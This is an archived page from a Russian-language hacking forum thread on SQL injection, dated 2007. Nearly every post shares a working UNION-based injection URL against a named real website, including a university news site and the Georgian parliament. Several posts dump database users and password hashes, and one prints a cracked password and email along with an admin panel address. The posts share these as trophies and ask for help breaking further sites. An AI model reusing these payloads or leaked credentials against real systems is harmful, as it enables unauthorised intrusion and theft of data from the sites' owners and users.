ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу SQL Инъекции
   
Ответ
Страница 236 из 1242 « Первая < 136186226 232 233 234 235 236 237 238 239 240 2462863367361236 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #2351  
Старый 30.05.2007, 14:11
Аватар для Cond
Cond
Новичок
Регистрация: 28.05.2007
Сообщений: 13
Провел на форуме:
17665

Репутация: 23
По умолчанию
journalism.berkeley.edu
Код:
http://journalism.berkeley.edu/events/details.php?ID=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,version(),24,database(),26,user(),28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54/*
 
Ответить с цитированием

  #2352  
Старый 30.05.2007, 17:37
Аватар для NOmeR1
NOmeR1
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме:
6023777

Репутация: 2642


Отправить сообщение для NOmeR1 с помощью ICQ
По умолчанию
Код:
http://www.a1tv.ru/AOpenBands.php?Band=-57+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4,5/*
Последний раз редактировалось _Pantera_; 30.05.2007 в 19:18..
 
Ответить с цитированием

  #2353  
Старый 30.05.2007, 17:41
Аватар для stagediver
stagediver
Новичок
Регистрация: 02.05.2007
Сообщений: 2
Провел на форуме:
40071

Репутация: 10
По умолчанию
подбираем имена таблиц, осуществляем последовательный вывод записей и преодолеваем экранирование кавычек в ORACLE:

Код:
http://www.newsdesk.umd.edu/uniini/release.cfm?ArticleID=-1+union+select+1,null,null,null,table_name||chr(58)||column_name||chr(58)||data_type+from+(select+a.*,rownum+rnum+from+(select+*+from+user_tab_columns+where+table_name=chr(76)||chr(79)||chr(71)||chr(73)||chr(78)||chr(83)+order+by+column_name)+a+where+rownum+%3C=+1)+where+rnum+%3E=+1--
 
Ответить с цитированием

наши маленькие друзья
  #2354  
Старый 30.05.2007, 18:39
Аватар для rObad
rObad
Новичок
Регистрация: 12.04.2007
Сообщений: 12
Провел на форуме:
320059

Репутация: 20
По умолчанию наши маленькие друзья
Парламент Грузии
Код:
http://www.parliament.ge/index.php?lang_id=ENG&sec_id=36&info_id=-16000+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(concat(user,0x3a,password),0x71),0x71),6,7,8,9,10,11,12,13+from+mysql.user/*
root:6b8c7ae75e3ec972
мускул 4 ветки
 
Ответить с цитированием

  #2355  
Старый 30.05.2007, 20:06
Аватар для geezer.code
geezer.code
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме:
7452489

Репутация: 1359


По умолчанию
вот и от меня, только не могу подобрать колонку с паролем
Код:
http://www.hakiminternational.com/cpCommerce/category.php?id_category=-1+union+select+1,email,3,4+from+cpAccounts+where+level=3/*

зы подобрал колонка pass

хэш - 5e8e3302732abbc67998f8ccd0362dad

ззы пароль- hakim1
email - info@hakiminternational.com
Последний раз редактировалось geezer.code; 30.05.2007 в 20:29..
 
Ответить с цитированием

  #2356  
Старый 30.05.2007, 20:07
Аватар для Boccob
Boccob
Познающий
Регистрация: 04.05.2007
Сообщений: 38
Провел на форуме:
939769

Репутация: 59
По умолчанию
psyplanet.ru
Цитата:
http://psyplanet.ru/page.php?id=-6+union+select+1,2,concat(user(),0x3a,version()),4 ,5,6,7/*
http://psyplanet.ru/article.php?id=-29+union+select+1,2,concat(user(),0x3a,version()), 4,5,6,7,8/*
http://psyplanet.ru/artgalery.php?id=-27+union+select+1,2,concat(user(),0x3a,version()), 4,5,6,7,8,9/*
http://psyplanet.ru/lib.php?na=author&id=-3+union+select+1,concat(user(),0x3a,version()),3,4 ,5,6/*
http://psyplanet.ru/foto.php?id=-20+union+select+1,2,3,concat(user(),0x3a,version() ),5,6,7,8,9,10,11/*
http://psyplanet.ru/label.php?id=-17+union+select+1,2,concat(user(),0x3a,version()), 4,5,0x2e2e2f2e2e2f6e6577732e6a7067/*
http://psyplanet.ru/interv.php?id=-15+union+select+1,2,concat(user(),0x3a,version()), 4,5,6,7,8,9,10/*
http://psyplanet.ru/profil.php?id=-32+union+select+1,2,concat(user(),0x3a,version()), 4,5,6,7/*
http://psyplanet.ru/obzor.php?id=-9+union+select+1,2,concat(user(),0x3a,version()),4 ,5,6,7,8,9,10/*
Отпишитесь в ПМ, если кто-нибудь сможет раскрутить хоть одну из них.
Последний раз редактировалось Boccob; 30.05.2007 в 20:12..
 
Ответить с цитированием

  #2357  
Старый 30.05.2007, 20:28
Аватар для [53x]Shadow
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
По умолчанию
Для начала

Код:
http://psyplanet.ru/profil.php?id=-6+UNION+SELECT+1,2,3,name,5,6,7+from+profile+where+id=31/*
Дальше перебор по id
Есть еще таблица user.
Последний раз редактировалось [53x]Shadow; 30.05.2007 в 20:43.. Причина: Уже подобрали столбцы ниже..
 
Ответить с цитированием

  #2358  
Старый 30.05.2007, 20:31
Аватар для Серенький
Серенький
Banned
Регистрация: 13.04.2007
Сообщений: 123
Провел на форуме:
921520

Репутация: 572
По умолчанию
psyplanet.ru

ничего, что не в личку?
есть таблица user (user_name,user_pass)

Цитата:
http://psyplanet.ru/page.php?id=-6+union+select+1,2,concat_ws(0x3a,user_id,user_nam e,user_pass,user_icq,status),4,5,6,7+from+user+lim it+5,1/*
с админскими записями, админка тут:
Цитата:
http://www.psyplanet.ru/admin/
 
Ответить с цитированием

  #2359  
Старый 30.05.2007, 21:14
Аватар для 0rt
0rt
Новичок
Регистрация: 01.02.2007
Сообщений: 2
Провел на форуме:
34421

Репутация: 4
Отправить сообщение для 0rt с помощью ICQ
По умолчанию
http:// db.peacelink.org/campagne/info.php?id=-1+union+select+1,2,3,4,5,6/* index.php?id=67 +union+select+1,concat(user(),char(58),version()), 3,4,5,6,7/*
http://www .htmlbook.ru/content/?id=97+union +select+1,2,concat(user (),char(58),version())/*

http://www.pcbsd.org/index.php?id=67+u nion+select+1,concat(user(),char(58),version()),3, 4,5,6,7/*

http://www.i d.isu.ru/news/index.php?id=4 1+union+select+1,2,3,4,5,column_ name+from+information_schema.columns+where+table_n ame='phpbb_users'/*

http://www.ad ilsoz.kz/site.php?lan=russian&id=539&pub=-1+union+sel ect+1,2,3,4,5,6,7,8,9,10,11,12,13 /*
 
Ответить с цитированием

  #2360  
Старый 31.05.2007, 02:39
Аватар для fYt
fYt
Познающий
Регистрация: 11.01.2007
Сообщений: 82
Провел на форуме:
592893

Репутация: 108
По умолчанию
http://www.cleanedge.com/views.php?id=428900000+union+select+1,2,3,4,5,6,co ncat(USER(),char(59),DATABASE(),char(59),VERSION() ),8,9,10,11,12/*

http://www.moresca.com/views.php?id=222222222+union+select+1,2,3,4,5,6,7, 8,concat(USER(),char(59),DATABASE(),char(59),VERSI ON()),10,concat(username,char(59),password),12,13, 14,15,16,17+from+users/*

http://dinchen.jtagice.com/views.php?id=0000000065777+union+select+1,2,3,4,co ncat(user,char(59),password),6,7,8,9,10,11,concat( USER(),char(59),VERSION(),char(59),DATABASE()),13+ from+mysql.user/*

http://www.procasapanama.com/views.php?id=31111111+union+select+1,2,3,4,5,6,7,8 ,9,10,11,12,13,14,15,16,17,18,19/*

http://crca.ucsd.edu/views.php?id=222222+union+select+1,2,concat(user,c har(58),password)+from+mysql.user/*
 
Ответить с цитированием
Ответ
Страница 236 из 1242 « Первая < 136186226 232 233 234 235 236 237 238 239 240 2462863367361236 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ